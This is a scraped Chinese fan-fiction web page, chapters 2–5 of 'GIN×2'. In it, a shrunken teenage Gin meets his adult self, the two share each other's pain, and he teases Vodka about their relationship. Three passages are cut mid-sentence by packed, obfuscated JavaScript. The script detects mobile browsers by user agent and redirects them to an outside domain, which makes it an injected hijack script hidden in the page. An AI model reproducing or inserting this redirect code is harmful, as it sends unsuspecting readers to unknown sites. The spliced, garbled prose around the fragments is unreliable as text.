《GIN×2》 2. 第 2 章 黑泽阵在一片雪地里穿行,他知道这是梦。 他很矮,很正常,他那个时候应该很小,跟在穿着深绿色大衣的男人身后,艰难地在雪地里移动着。如果只是看这个时候的他,没有人会想到他以后会如此高大。 雪的厚度早就过了他的腰部,他紧紧地跟着男人,沿着他开出来的路往前走。天已经完全黑了,也看不见星月,他们是从城市里走出来的,回头还能看见出城大路上那些飘扬的旗子,旗帜看不出颜色,听不见声音地飘扬着,上面的图案模糊不清,他却不需要看也深深地记得那图案。 “我们要去哪里?”他听见自己问前面的人。 风雪越来越大了,他用尽全力大声问道,想要把声音传到那人的耳中,顾不上一张开嘴,风雪就往他嘴里灌。 那人的面容埋在厚厚的棕色毛领中,看不清楚,对方没有回头,低沉的声音透过风雪传到黑泽阵的耳中。 那人说:“……” …… 黑泽阵睁开了眼睛,一时分不清自己在哪里。 他的目光触及灰黑色的地板砖,缓慢地眨了眨眼,首先排除了孤儿院。 他又飞速地闭上了眼睛,保持着蜷缩的姿势没有动。他不知道为什么,但本能说,这个时候他要保持警惕,绝对不能让别人知道自己已经醒来了。 他竖起耳朵,认认真真听了好久,什么声音也没有。 房间里没有另一个人。他想,于是睁开了眼,在触及周围环境的时候,也就想起了自己在哪。 ——在另一个琴酒的家中。 或者说是在另一个自己的卧室里。 黑泽阵坐了起来,黑色的大衣滑落在地上,他有些惊讶,不知道为什么另一个自己会给他盖衣服——这不像是琴酒会做的事。 不过这件衣服并没有起到什么作用。黑泽阵打了个喷嚏,感觉自己还是感冒了,体温也有些不正常。 他坐在那想了好一会儿,觉得自己已经弄清楚状况了,虽然不记得发生了什么,但他一定是来到了异世界,正好落在了成年版的自己家里,不知道为什么身体变小了,还失去了很多记忆。 他脑袋里只剩下零碎的记忆,主要的记忆还都是三岁之前的。也难怪他刚醒来的时候会以为自己真的只有三岁。 黑泽阵跳下小沙发,把椅子推到房门处,然后试着站上去拧门把手。 拧不动,锁得死死的。黑泽阵看了门把手一会儿,觉得自己需要一点工具。 只是具体是什么工具,又要怎么操作,他一点也想不起来。 他只好放弃离开房间,转而开始探索这个房间。 脑海里自己的声音嗤笑着,让他别白费力气,既然琴酒会把他留在这个房间,那他肯定无法从里面获得什么。 黑泽阵撇撇嘴,不相信脑海里的声音,坚定地在房间里翻找起来。只是他把房间翻了一遍,却什么也没有找到。他又饿又渴,房间内也没有任何能看到时间的工具,他只能拉开窗帘通过天色判断。 此时外面的太阳已经快要下山,说明他已经一整天没有吃东西了。他不高兴地看着窗外,心想孤儿院虽然条件不算很好,但至少没有让他们饿过。他现在也只能想起自己在孤儿院的事,难免会有所对比。 他跑去卧室带有的卫生间,踩着椅子想要喝点自来水。 抬头的时候他的视线又一次碰到了镜子。镜子里的他还是三岁左右的年龄,非常陌生,黑泽阵感觉他不是在看自己,而是在看别人家的小孩。只是他做什么,镜子里的自己也跟着做一样的动作。黑泽阵撇嘴,镜子里的小孩也跟着撇嘴。他冷笑,镜子也跟着冷笑。 “……”惨不忍睹,他怎么可能是三岁小孩。黑泽阵在心里想。他移开视线,忽然意识到,他还有一个地方没有搜查过。 那就是他现在所处的卫生间。 这确实是很容易被忽视的地方。黑泽阵目光在卫生间里一点一点地扫过。从肉眼上看不出有什么不对劲,还是上手检查一遍最合适。 很快,他找到了。黑泽阵站在洗手池上,踮起脚尖,勉强碰到了一个应该是机关的东西。 他果断按下。空间里随即响起机械运转的声音,黑泽阵脚下一阵晃动,洗手池连带着镜子正在往外慢慢移动。 好简陋的机关。黑泽阵评价。里面应该不是什么重要的东西。 他的猜想是对的。在密闭的空间完全打开后,他走进去后,发现呈现在他面前的是一排排整齐排列的酒。 怎么会有人在卫生间里面藏酒。黑泽阵靠近酒架,抬头往上看去。 每一排都是酒,几乎没有重样的,各式各样的酒随意地摆放在架子上,看上去并没有得到很好的保管,仅仅只是放在上面。 黑泽阵看见最上面的架子上似乎放着一种他很眼熟的酒。但他的身高够不着那瓶酒,椅子没有办法通过密室入口。 难怪琴酒完全不在意这里会被他发现。黑泽阵收回视线。他的身高只能看得清最下面两排。 都是陌生的字眼,英文,英文,还是英文。黑泽阵意识到失忆不只是让他忘记了自己的经历,跟着消失的还有很多知识。 比如他现在就看不懂这些英文。他一瓶瓶看过去,不期望能看见认识的文字。 等下。黑泽阵忽然发现夹在了一大排英文里的别样字眼。 这是……中国酒?红色的包装上面写着汉字。 黑泽阵忍不住伸出了手,把那支酒从架子上拿了下来,打开了瓶盖。 味道很好闻。试一口。黑泽阵这么想。他之前在别人捐给孤儿院的小说上看到过,有人说是中国酒实际上是药酒,可以治病。 试一口,一口…… 黑泽阵猛地捂住心脏,心脏像是被用力揪紧,绞痛在下一瞬遍布全身,眼前的世界也跟着摇晃了起来,天花板在他面前旋转,地板闯进他的眼睛,他摔倒在地面,酒瓶跟着重重地砸在地上,发出一声响亮的声音,他却什么也听不清,耳边嗡鸣声连成一片,只听得见自己在大口大口地喘气。 是毒药?为什么…… 他逐渐失去意识。 等再次醒来的时候,黑泽阵坐在地上,他摊开手心,修长的手指微微动了下,他意识到自己恢复了原来的样子。 脑海里断断续续的记忆终于连成了完整的影片。他大部分的记忆都回来了,在大脑里清晰可见。 三岁时候的事对现在的他来说已经是很久前的事了。黑泽阵站起身,毫不在意地把这段记忆扔在脑后。 他现在是十九岁的黑泽阵,组织最年轻的代号成员,琴酒。 既然来到了另一个世界,那么需要考虑的,就是之后要做什么。 黑泽阵的视线在酒架上扫过,这一次再看,他一眼就明白了为什么琴酒会在这里放这么一个酒架。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785705|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“皮斯科、科恩、基安蒂、贝尔摩德……”他低声念出这些酒名,视线上移,停在最上排。 酒架上面对应的酒大部分他都在组织里见过相应的代号成员,小部分没见过大概是琴酒随手放入用来扰乱视线的。组织并没有明确的上下级,一眼扫过去,架子上的酒也不是按照组织里的地位排序,除了最顶上那排。 “朗姆,和琴酒。”黑泽阵勾了下唇。 看来这个世界的自己,已经做到了组织高层,并且虎视眈眈着朗姆的位置。 另一个自己的小心思。他能够一眼看出来,是因为他们是一样的人。 他从进入组织开始,就一直是冲着朗姆的位置去的。 黑泽阵离开了这个不算密室的密室,回到卧室,随手扯了套琴酒的衣服给自己套上。 他对着镜子站了一会儿,镜子里的少年是他熟悉的样子,身形高挑,神情漠然,绿眼睛锋锐,眼神即使是在看自己的时候也是冷淡的,银色长发自然地垂下,落在黑色的大衣上。 黑泽阵估摸未来的那个自己只比现在高一点点,可能更强壮一些,他穿对方衣服的时候没有感觉到特别不合身,只觉得稍微有一点宽松。 哦,也可能是因为自己现在身上一把武器都没有。 恢复记忆后他能够轻松地撬开琴酒离开时锁上的卧室门,他走出房间,只是扫了一眼,就知道琴酒会把武器藏在哪里。 同一个人的好处在于,能够节约找东西的时间,以及能够随意进入他想要进入的地方——不管是用的密码还是指纹。 黑泽阵知道自己还在发烧,身体也比平时要虚弱,因此没有多耽误时间,只拿了常用的伯莱/塔,就坐在了客厅的沙发上开始了无聊的等待。 黑泽阵擦拭着手里的伯莱/塔,脑海里复盘着昨天自己来到这里后所发生的事情。 昨天他失去了记忆,但本能还在,他不止一次感受到了琴酒对他的杀意。在天花板上掉下那张纸条后,琴酒毫不犹豫地动手了。琴酒那时想掐死他,赋予了行动,却没有进行到底。中途松手后,就再没流露过杀意。 黑泽阵没有看到纸条上写的什么,但他认为如果是自己的话,不会因为简单的一句话就放弃杀死一个来路不明的小孩。 以他对自己的了解,那次动手应该是尝试,而没有进行到底,只有可能是琴酒发现,杀死他也会导致琴酒本身出现一些问题。 例如在试图掐死他的时候,琴酒也感觉到了不适。他们的感觉是绑在一起的。黑泽阵很轻松地得出了这个结论。 只是不知道这种共感是单向的还是双向的。黑泽阵眯了眯眼,手中的伯莱/塔锃亮如新,他举起枪,对准了藏在电视机上方的摄像头。 摄像头极不显眼,漆黑的镜头几乎和电视机融为一体,如果这个摄像头不是琴酒本人装的,那可能连黑泽阵也无法找到。 很可惜,黑泽阵对自己过于了解。琴酒有着过分的掌控欲,以及一点被害妄想,会设想突发情况,并为这些情况都备好方案。如果是他的话,他也会留下什么来监视自己,并且隔一段时间就会检查一遍监控的情况。 另一个自己正在看着他。 他一定会露出很值得欣赏的神情。黑泽阵勾起嘴角,扣下了扳机。 如果共感是单向,黑泽阵会像现在一样,像琴酒想要杀死他一样,没有丝毫犹豫地开枪。 “砰!” 3. 第 3 章 和黑泽阵所想的一样,琴酒此时正死死地盯着监控屏幕。看着镜头那边,那个和自己有着九分相似的青年对镜头笑了一下,用着他再熟悉不过的姿势扣下那边伯莱/塔的扳机。 镜头毫无意外地在下一秒变得漆黑一片,平板屏幕上倒影出琴酒莫测的神情,他坐在黑色的保时捷后座,黑夜的阴影把他不断变换的脸色笼罩在内。 平板的画面足够大,监控也足够清晰,更何况那人是有意表现给自己看,所以每一个微表情或者动作,琴酒都看得一清二楚。 因此他也无比清楚,那张纸条或许不是在开玩笑。那就是另一个自己,另一个……琴酒。 平板里的画面只剩下一片漆黑,但琴酒的脑海里依旧在回放着刚才那几分钟简短的窥视。除了年龄以外,思维方式、习惯、行为,完完全全都是琴酒本人。 另一个我。琴酒终于开始正式这一个问题。 驾驶座上原本专心致志开车的伏特加凭借在琴酒身边多年的经验,依稀感觉到了不对的气氛。他哆嗦了一下,感觉车里的温度都跟着琴酒的心情一起下降了。 伏特加在心里揣测,难道是组织的人来质问这次的任务了?不应该吧,虽然大哥不知道为什么忽然中断任务选择回家,但又不代表任务就这么结束了。就算是朗姆想要趁机抓住大哥的把柄,也不至于这么冲动,在任务还没彻底结束前就发消息来质问吧。 他飞快地瞥了一眼后视镜,看见琴酒手里拿的是平板而不是手机。 那应该就不是组织的事情,伏特加判断。他又赶紧看了一眼琴酒的神情,惊讶地发现琴酒此时心情却像是好起来了一般,嘴角轻扬,大力握住平板一侧的手也放松了下来,他收起平板,像是察觉到伏特加的目光一般,头也不抬地道:“伏特加,好好开车。” “是、是,大哥。”伏特加赶紧收回视线,也没敢问为什么琴酒的心情变化得会这么快。 在琴酒身边待了那么多年,伏特加深知,大哥的心思他揣测不来,最好也别揣测! 很快,保时捷就在琴酒最近暂住的别墅前停下了。 “你在这里等着。”琴酒命令。 琴酒在打开屋子大门前,已经想到了会要面对什么。 面对一个潜在的偷袭者,他能够列出二十七种应对方式,而面对一个青年时期的自己,只需要准备一种……两种方案。 没有谁会比琴酒本人更加熟悉琴酒。 那是另一个自己,一个二十岁左右的琴酒,在组织的时间相较于他来说略短。那一个自己大概拥有更强的近身作战的能力,但同时也会缺少一点狠毒和经验。 制服一个过去的自己并不难。只是琴酒没有忘记,他和另一个自己之间,似乎被绑定了奇怪的共感。 琴酒眯了眯眼,还是把手里的枪从口袋里拿了出来——不过肯定是用不上的。 他推开门,月光顺着门流淌进入门厅,如狼一般凶狠的绿眸从黑暗中跃出,右手呈拳状冲着琴酒的脸毫不犹豫地挥来,带起一道拳风。 琴酒迅速侧身避开,反手关上房门把光挡在了外面。 他抬起枪,对方也没有再用赤手空拳,黑暗中两人就像是商量好一般,默契地左手举起枪,枪口直直地捅出,用力地抵住了对方的心口。 黑暗中,一模一样的绿色眼睛对视,下一秒两人不约而同地移开视线。琴酒适应了昏暗的环境,一眼看出黑泽阵身上穿的是他的衣服。青年拥有着和他完全一样的容貌,几乎一致的身形,看着他的时候简直就像是在看过去的自己。 两人僵持了一秒、两秒,谁也没有开枪,甚至连保险栓都没有拉开,只是不动声色地在观察着对方。 在第三秒的时候,两人一并往后退开,枪被塞回口袋,替代而出的是杀伤力相对没有那么强的近身武器。 短刀和甩棍碰撞在一起,发出一声清脆的声响。 黑泽阵轻轻往后一跃,说出了再次见面后的第一句话:“你什么时候学的这个。” 琴酒没有说话,他在黑泽阵说话的时候抓住了他的破绽,甩棍丝毫没有收力气,以十成的力气,抽在了黑泽阵的手臂上。 他知道这是黑泽阵有意暴露的破绽,也还是这么做了,痛感没有半点延时地传递到了他的身上,就像那棍子是抽在他身上一样。 当然是痛的,琴酒知道自己有多大力气,但两张相似的脸上却一点波动都没有。黑泽阵连一秒都没有停顿,在挨了一棍子后短刀顺势就在琴酒身上划了一道。 锋利的刀锋立刻划破了衣服,接着划伤了皮肤。刺痛同一时刻出现在两人身上,黑泽阵感受到了,他皱了皱眉,意识到这种共感是双向的。 谁也没有表现出疼痛,却又都知道对方的感受。微妙的感觉让黑泽阵停了一下,舍弃了手上的短刀,径直朝着琴酒冲了过去。 他会这么做只是因为猜到了另一个自己接下来一定不会再下死手。两个人都放弃了武器,赤手空拳地扭打了起来。 虽然两人身上都有着共感,疼痛实时反馈着,两人打起架来却丝毫没有放松,除了没有下死手以外,都用上了不小的力气。 实力过于相近,又对彼此过于熟悉的时候,这场打斗其实持续不了多久。 黑泽阵试探得差不多了,感觉自己很难有赢的胜算,撇了撇嘴,不甘心地想要再给琴酒来上一拳。 可就在手刚伸出去的时候,他感到心脏剧烈抽痛了一下。 又是那种熟悉的感觉。这次又是要发生什么?黑泽阵下意识拉开了和琴酒的距离,伸出去的手无力地垂下,像是被什么狠狠敲在了四肢上——说实话比琴酒刚才那一棍子痛多了。 他几乎无法站立,浑身上下的剧痛让他甚至听不见周围的声音,眼前也变得模糊一片,只能勉强看清琴酒似乎是退后了几步。 怎么,另一个自己这个时候又没有共感到了吗?他带着一点怨气这么想着,又惊讶自己居然还能够思考。 忽地眼前一亮,黑泽阵反应了几秒,觉得应该是琴酒把灯打开了。 等意识逐渐回归后,黑泽阵感觉自己应该是趴在地上。他眨眨眼,朝着琴酒看去。 琴酒站在灯开关旁边,和他有些距离,神色微妙地看着他。 “喂,你就这么……”黑泽阵猛地住嘴。等下,为什么他的声音会是小孩子的童音! 他急忙低下头,然后就看见了自己被裹在过大衣服里,看不清楚的短手短腿。 “你变小了。”琴酒说。这其实是不需要复述的事实,他会再说一遍只是想看见另一个自己脸上扭曲的神情。 黑泽阵黑着脸,费力地把衣服袖子捋起来,看见手臂上有一道很明显的青肿。 小孩子的皮肤白皙柔嫩,任何痕迹在上面都显得格外触目惊心,黑泽阵抬头瞅一眼琴酒,指责:“你做的好事。” 琴酒双手抱胸,靠在墙上:“你确定要用这种形态和我这么说话?” “给我搞一套衣服来。”黑泽阵心情很坏,说话丝毫不客气——对另外一个自己客气什么。 已经很久没有人敢这么对琴酒说话了,琴酒略微感到新奇,站在那里没动,打量了黑泽阵一会儿。 这一次再看,不知道为什么,明明都是小孩子的身体,他却觉得黑泽阵现在看起来顺眼了很多。甚至连任务被打扰而产生的怒意也消散了许多。或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785706|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他只是讨厌听不懂人话的真小孩,不讨厌有脑袋的小孩。 哦,这家伙也不算小孩。 “我十九岁了。”黑泽阵看出了琴酒的想法,耸耸肩解释,“至于为什么会变成这个样子——” 他本想吊一下琴酒的胃口,没想到琴酒已经帮他说完了后半句话。 “头部撞击短暂失忆,你自己也不记得了。”琴酒说。 “好吧,瞒不过你。”黑泽阵并不意外,他有点费力地仰头看着高大的琴酒,心想面前的毕竟是未来的琴酒。 一个做到组织高层的自己。 黑泽阵眼里闪过几分奇异的色彩,他想要问点什么,却被琴酒打断了。 “我让伏特加给你送衣服。”琴酒简单的一句话,就让黑泽阵把想要问的话吞了回去。看来即使是十多年后的自己,也没有怎么变,黑泽阵依旧能够很轻松地通过每一个细节看出另一个自己想要表达的意思。 大概是说现在不适合说那些话题。于是黑泽阵没准备再问,他换了一个想要知道的事情:“喂,你现在多大?” “二十九。”琴酒在手机上敲完了信息,走到黑泽阵身边,把那把伯莱/塔拿起放回了口袋。 黑泽阵有点不满,但也知道以自己现在的身体,并不适合随身带着一把枪。 “等我回来再说。”琴酒警告地看着他,“既然你的年龄是十九岁,那你就应该知道什么能对伏特加说,什么不能。” 黑泽阵心想这是废话,他有些不耐,这种你我心知肚明的事情,为什么还要再对他强调一次。他又不是伏特加。 于是他不说话,也没问琴酒要去哪——当然他知道琴酒肯定是要去完成组织的任务。 琴酒见他不说话,又强调了一遍:“别乱来。”他的视线在黑泽阵偏大的衣服上转了一圈,他说:“别打扰我做任务。” 黑泽阵有些惊讶。这句话的意思是……琴酒其实在看到监控之前就已经在回来的路上了?是因为自己突然变回原来的样子吗? 也就是说,他在经历身体变形的疼痛的事后,琴酒也是能够感受得到的吗?只是可能没有那么强烈。黑泽阵很快就想到了。 他露出了没有掩饰的笑,却意味不明,让琴酒很轻地皱了下眉,发现自己居然不知道这个时候的黑泽阵在想什么。 门外在这个时候传来了脚步声,很轻,但琴酒的听力是一绝的好,他走过去,给伏特加拉开了门。 “大哥……” “你留在这里。”琴酒没给伏特加废话的时间,他侧了侧身,把黑泽阵暴露在伏特加的视野下,道,“看好他,不该说的话别说。” 黑泽阵看着伏特加手里提着可笑的带有卡通动物的塑料袋,皱了下鼻子,移开视线,对十年后的伏特加进行了一个全方位的观察。 伏特加震惊地看着坐在琴酒客厅里的银发绿眼睛小孩,吃惊得长大了嘴:“你、你……大哥,这是?” “你大哥走了。”黑泽阵指出。他走过去,把那个可笑的袋子从伏特加手里拽了过来。 虽然不想穿这种儿童衣服,但属于大人的衣服已经给他的行动造成了不便,还是换掉比较好。 伏特加回头看看已经关上的大门,试图透过厚实的门看到琴酒一米九的高大身材,又扭过头看看黑泽阵不到一米的五短身材,陷入了深深的思考。 “你……你和大哥是什么关系啊?” 黑泽阵刚走到卧室门口,正准备进去换衣服,听到这个问题停了下来。 他其实可以不回答。但出于给另一个自己添堵的心情,他不怀好意地说道:“哦,你说的是刚才那个银色长发的男人吗?他是我妈妈。” 4. 第 4 章 原来是爸爸啊,不奇怪……等一下! 伏特加怀疑自己听错了。等等,这个小孩说的是什么?妈妈? ? ?? 谁是谁的妈妈? 啊?伏特加足足在原地站了两分钟,一动不动,心想自己一定是听错了。他伸出颤抖的手,默默地把脸上的墨镜摘了下来。肯定是因为戴着墨镜所以他有点听不清。 他瞪着空无一人的客厅,却很难说服自己真的是听错了。 和琴酒相似的小孩的脸在他面前不断回放,张嘴吐字清晰地说着:“他是我妈妈。” 那个银色长发的男人,他……是……我……妈……妈…… “!” 黑泽阵完全没有去想伏特加会想什么,他此时正在不太高兴地照着镜子,他又需要借助工具才能够碰到镜子。镜子里的自己又回到了三岁,穿着属于小孩子的毛绒睡衣,就算做出再凶狠的表情,也显得没有任何威力。 “……”算了。会找到办法变回去的。话说他刚才会变回去是因为什么?黑泽阵的记忆并没有完完全全恢复,来到这个世界前后发生的事他都有些混乱。 他走出房间,发现伏特加还在原地站着,不由有些奇怪,也没想到是自己刚才那句话让对方震惊到现在。 在看到他出现之后,伏特加终于回过了神,他甩甩脑袋,心想一定是小孩子不懂事随便乱说的,想到琴酒在短信中交代他的事,他赶紧从口袋里拿出了药盒。 “呃,这是大哥交代我给你的。我给你倒杯水把药吃了吧。”伏特加问,很想问问小孩的名字,他总不能一直这么“你你你”地称呼吧。 知道名字说不定也能知道这小孩是大哥和谁生的。这个小孩看起来是三四岁的样子,之前没有出现过在大哥身边,说不定是一直跟着亲生母亲?伏特加的思维发散了出去,动作倒是没停,走到放杯子的地方,想要给黑泽阵拿个杯子。 黑泽阵注视着他的一举一动,从药盒上看出那应该是一盒退烧药。他不奇怪琴酒知道自己发烧了,但琴酒会关心自己,还给自己买了药也是挺有意思的。虽然原因很可能只是因为不想自己出状况干扰到他。 伏特加站在杯子面前,有点为难,是拿一个玻璃杯呢,还是拿一个塑料的。小孩子是不是不适合用玻璃杯。话说这里也没几个杯子,哪一个是大哥经常用的?他不会拿错吧。 黑泽阵的声音出现在他身后:“伏特加,要那个墨绿色的。” 伏特加下意识地给他拿了,水也装上了,弯腰把温热的杯子递到黑泽阵的手里时才感觉到有哪里怪怪的——为什么他就这么顺手地做了。 说起来……这个小孩不亏是大哥的小孩,说话语气都一模一样,简直就是大哥的缩小版本。他应该就是因为这个才不自觉地就听了。 黑泽阵接过杯子,却没有接过药盒,他喝了口水,淡淡地说:“琴酒应该没有让你立刻让我吃药吧。” “没有是没有。但他说你在发烧。”伏特加迟疑地说,“你是不想吃药吗?发烧的话还是吃了这个药会比较好。” 他想了想,感觉对三岁小孩还应该再说点什么,于是补充:“大哥也会希望你把药吃了的。” 黑泽阵古怪地看了他一眼,说:“哦,我刚才喝了酒,你确定琴酒会想要我立刻吃退烧药?” “……”伏特加恨不得把刚才那句话吞回去。 他赶紧圆回去:“哈哈哈没有,你还是晚点吃药吧。你要吃点什么吗?我买了饭团。” 黑泽阵把杯子塞回伏特加的手里,点了点头。 在黑泽阵开始啃并不好吃的饭团的时候,伏特加还是忍不住问了:“你应该是大哥的小孩吧,你刚才说错了,他是你爸爸。” 黑泽阵看都没看他,心想伏特加怎么这十年一点进展都没有。琴酒刚才出门的时候不是交代了他不该说的别说吗。是因为他是小孩子,所以觉得问点问题也没什么吗?还是因为把自己当成了琴酒的小孩?所以划在了自己人的范围? 伏特加见他不理自己,也不觉得有什么,反而是更加觉得他一定是琴酒的小孩,这个样子简直是一模一样呢? 他自顾自地往下分析:“你知道大哥的代号是琴酒,也知道我的代号……也就是说,你的母亲很有可能和组织有点关系。不会是……” “……”黑泽阵眯起眼,饭团也不吃了,准备听伏特加继续往下说,可这个时候伏特加像是想起琴酒的叮嘱一般住嘴了,两人互相看着对方,伏特加脸上充满着想问又不敢问的神情。 “你继续说。”黑泽阵命令,他倒要听听,在伏特加心里,另一个自己会和哪个组织的女人扯上关系。 伏特加摇摇头:“不行,大哥肯定不会让我说的。” 黑泽阵看了一眼伏特加肩膀上不起眼的衣服皱褶,循循诱导:“你说了他也不会知道,这些也不算是不能说的。他既然让我们共处一室了,那简单的聊天就是被允许的。” 伏特加很容易地被说服了,可能是因为他实在是太好奇了。 他左顾右盼了一番,像是担心琴酒会从不知道哪个角落冒出来。确认了屋子里除了他们俩就没人之后,他清了清喉咙,先从他觉得最有可能的人选开始问了:“是不个是有金色长发绿眼睛的女人,长得和个明星一样。” “……你可以直接说贝尔摩德的代号,她本来就是明星。你怎么会想到那个女人?”黑泽阵冷着脸,觉得这并不是一个好笑的笑话。 另一个自己和贝尔摩德?怎么可能。他知道贝尔摩德有自己的秘密,能够永葆青春,很可能十年后的贝尔摩德还是十年前的样子,但这也就意味着他自己是绝对不可能和贝尔摩德有一腿的。 那个女人的真实年龄说不定都能够给琴酒当妈。黑泽阵充满恶意地想着。 他其实没有很讨厌贝尔摩德,但这个时候从伏特加口中听到,却感到了极为不悦。 “噢,看来你知道不少组织的事啊,那我直接说代号了?”伏特加说都说了一个了,开了个头,后面的也就不再藏藏掩掩了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785707|158025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你知道不知道雪莉。”伏特加说出这个名字后自己都立刻否认了,“不对,你今年应该有三四岁了吧,雪莉现在也才十八。” “不是。”黑泽阵的脸又黑了几分。真敢猜啊伏特加。话说雪莉……他记忆中并没有这个人。十八岁,大概是最近才拿到代号的。他心里对这个还没见过面的组织成员多了几分警惕。他认为自己是组织最年轻的代号成员,不允许有另一个比他还小拿到代号的人出现。 十八岁就拿到了代号。会是卧底吗?他把这个代号放入了重点观察名单中。 伏特加还在猜,这次的语气带上了几分不确定:“不会是……宾加吧。我听别的组织成员说,宾加好像很在意大哥的一举一动,有几分又爱又恨的感觉。” “……”黑泽阵决定终止这个可笑的游戏,他忍无可忍。宾加是男的!虽然那家伙能够男扮女装,但也是男的! 不过……黑泽阵想到了什么。 他打断了伏特加:“别猜了,都不对,琴酒和你说的这些人没有任何关系。” 他抽了一张纸,把刚吃过饭团的手擦干净,又看了一眼伏特加肩膀上藏着的那个小小的窃听器,知道另一个自己听到伏特加说的这些大概只会觉得伏特加还是太闲了。 但他接下来要说的就不是这么简单了。琴酒听到后,大概都会后悔让伏特加留在这里。 “你听说过纳西索斯的故事吗?”黑泽阵敲了敲桌面。 “噢,我知道,那个水仙花的希腊神话。”伏特加说。 黑泽阵点头:“我要说的是民间版。” 他勾了勾嘴角,一口气说完:“纳西索斯并没有因为迷恋自己的容颜郁郁而死,他的母亲在知道他迷恋自己的容颜后,找神捏出了纳西索斯的分/身,也就是另一个纳西索斯,另一个纳西索斯拥有着和纳西索斯一样的容颜、智慧,他们一模一样,无人能够区分,纳西索斯恋爱了。” 伏特加大为震惊:“我从来没有听说过这个版本。所以另一个纳西索斯是女性吗?” “不是,是男性。” “哦哦,同性恋啊。”伏特加终于反应过来了,“但是这和我们在说的话题有什么关系?你总不能说你之所以和大哥那么像,是因为你是另一个他吧。” 黑泽阵没想到伏特加还能误打正着地猜中了。但他想说的不是这个,他轻描淡写地带过:“故事的结尾,是纳西索斯和另一个自己生了一个小孩。” “希腊神话里面……男人和男人也可以生小孩吗?”伏特加意识到了不对,“这是谁和你说的,根本就不对。” “蠢货,因为这是我编的。”黑泽阵冷笑一声。 伏特加瞪着他,又在黑泽阵和琴酒一模一样的绿眼睛里赶紧移开了视线,他有点生气地问:“所以你想要说什么?” 黑泽阵铺垫完了,以极其让伏特加信度的语气说:“我,琴酒生的。我一开始就说了。” “……”另一头的琴酒一个用力,最终还是没能忍住,掐坏了手里的窃听器。 5. 第 5 章 伏特加又一次怔在那里,他大声反驳:“男人怎么可能生小孩呢,男人不可能生小孩。” 而且他待在大哥身边这么多年,从来没有见大哥有过什么异样啊。 “我没有必要撒谎。”黑泽阵说,他再添了一把料,“科技现在很发达,你仔细想想,琴酒是不是有一段时间有那么一点异常?” 伏特加脸上保持着怀疑和拒绝相信的神情,但还是忍不住在黑泽阵的诱导下开始了回忆。 不对。伏特加并不算好的记忆在他冥思苦想下复苏了。不对!大哥确实有一段时间表现得很奇怪!特意把自己支去了美国一段时间,还经常避开大部分组织成员独自行动,有那么几次还被自己撞见在吃一些没有名字的药。 伏特加越想越觉得吓人,他试图寻找一些的证据来反驳这个可怕的可能,却发现好像真的没有办法反驳。 他开始坐立不安,觉得自己恐怕是听到了什么不该听的,大哥如果知道自己知道了那么大的秘密,会不会想要把他灭口? 黑泽阵饶有兴致地看伏特加脸上的表情变了又变。在说出这个瞎编的故事之前,黑泽阵完全没想到十年后的伏特加那么能够脑补。他刚进组织没多久就认识伏特加了,不过伏特加正式跟在他身边对他来说也就是最近几个月的事,所以在他刚才的认知里,伏特加还是一个脑袋没有那么灵光,胜在比较严肃听话的手下。 现在看来,似乎也没有那么严肃。 时间应该差不多了。黑泽阵刚冒出这个念头,就看见伏特加手忙脚乱地从口袋里摸出了手机。 “大、大哥。”伏特加咽了咽唾沫,听见另一头琴酒的声音带着可怕的杀意。 “我不是说了,不该说的别乱说吗。” 伏特加狠狠地打了个哆嗦,脑袋像被按进了千年的冰窖,瞬间清醒了过来。他意识到琴酒把刚才自己的八卦听得一清二楚,肯定是因为自己身上有窃听器,他慌乱地在身上翻找着,一边结结巴巴地说:“是、是的大哥,我……” 琴酒冷哼了一声,挂断了电话。 黑泽阵好心提醒:“别找了,窃听器在你肩膀上。你就算找到也迟了,琴酒该听到的都听完了,现在也听不见了。”稍微代入自己想一下就知道,琴酒肯定在另一边把窃听设备掐坏了。 他觉得没意思,打了个哈欠,跳下椅子:“我去睡觉了。” 伏特加愣愣地看着他的背影离开,伸出手——所以这个小孩到底…… 他真的很想知道。总不能、总不能真的是琴酒生的吧……伏特加最后还是把手放下了,疑神疑鬼地看了一圈四周,又开始翻自己的衣服,生怕自己身上还有琴酒留下的窃听器。 ----- 琴酒在没有组织任务的时候一向拥有很规律的作息,当然变小了的黑泽阵也是。 黑泽阵在天刚刚亮起的时候就睁开了眼,他躺在琴酒的床上思考了两秒,意识到了哪里有一些不应该。 琴酒居然没有阻止自己上他的床。 黑泽阵裹着被子在琴酒的床上滚了一圈,很肯定这是一个不对劲。 最清楚自己性格的人当然只有自己。如果是黑泽阵自己,是绝对不会让另一个不知道哪里来的人上自己的床的。 或许是琴酒知道他肯定会睡在这张床上,所以就懒得再阻止吗?也不对。黑泽阵把头埋在被子里,想了一会儿,觉得不是。 